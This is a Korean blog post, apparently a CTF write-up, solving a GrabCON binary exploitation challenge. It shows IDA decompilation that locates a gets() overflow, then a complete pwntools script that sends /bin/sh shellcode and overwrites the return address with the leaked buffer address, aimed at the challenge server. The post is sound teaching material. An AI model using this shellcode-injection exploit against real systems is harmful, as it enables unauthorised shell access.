728x90
GrabCON CTF
마지막 문제입니다.
CODE
아이다로 키면 메인이 존재하지 않습니다. start부터 찾아 나갑니다.
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF
v2 = v3;
v3 = a1;
__libc_start_main(sub_1357, v2, &retaddr, sub_13B0, sub_1420, a2, &v3);
__halt();
}
int __cdecl sub_1357(int a1)
{
setvbuf(stdout, &dword_0 + 2, 0, 0);
sub_12BA(&a1);
sub_130D();
return 0;
}
찾았습니다!! sub_1357이 main함수인 것 같습니다.
char *sub_130D()
{
char s[294]; // [esp+Eh] [ebp-12Ah] BYREF
printf("eat some %p!\n", s);
return gets(s);
}
NX bit가 안걸려 있네요? 문제들이 마지막 문제 빼고는 전부 쉬운 거 같습니다. PIE가 걸려있긴 하지만 NX bit가 꺼져있으면 우리는 shellcode를 사용하면 됩니다. 위 sub_103D에서 취약점이 발생합니다. 코드는 아래와 같습니다.
소스코드
더보기
from pwn import *
p = remote("35.246.42.94", 1337)
e = ELF("./pwn2")
p.recvuntil('some ')
buffer = int(p.recvline()[:10], 16)
log.info(f"buffer : {hex(buffer)}")
offset = 302
shellcode = b'\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
payload = b''
payload += shellcode
payload += b'A'*(277)
payload += p32(buffer)
pause()
p.send(payload)
p.interactive()
NX bit가 안걸려있으면 공짜 문제이지요~
[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)
728x90
'해킹 > 시스템해킹' 카테고리의 다른 글
[시스템해킹] FSB(Format String Bug) 이란? (0) | 2021.09.09 |
---|---|
[시스템해킹] HackCTF < Basic_BOF #1 > (0) | 2021.09.09 |
[시스템해킹] GrabCON can you? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON easy_bin write up (0) | 2021.09.09 |
[시스템해킹] Buffer Overflow(BOF) (0) | 2021.09.09 |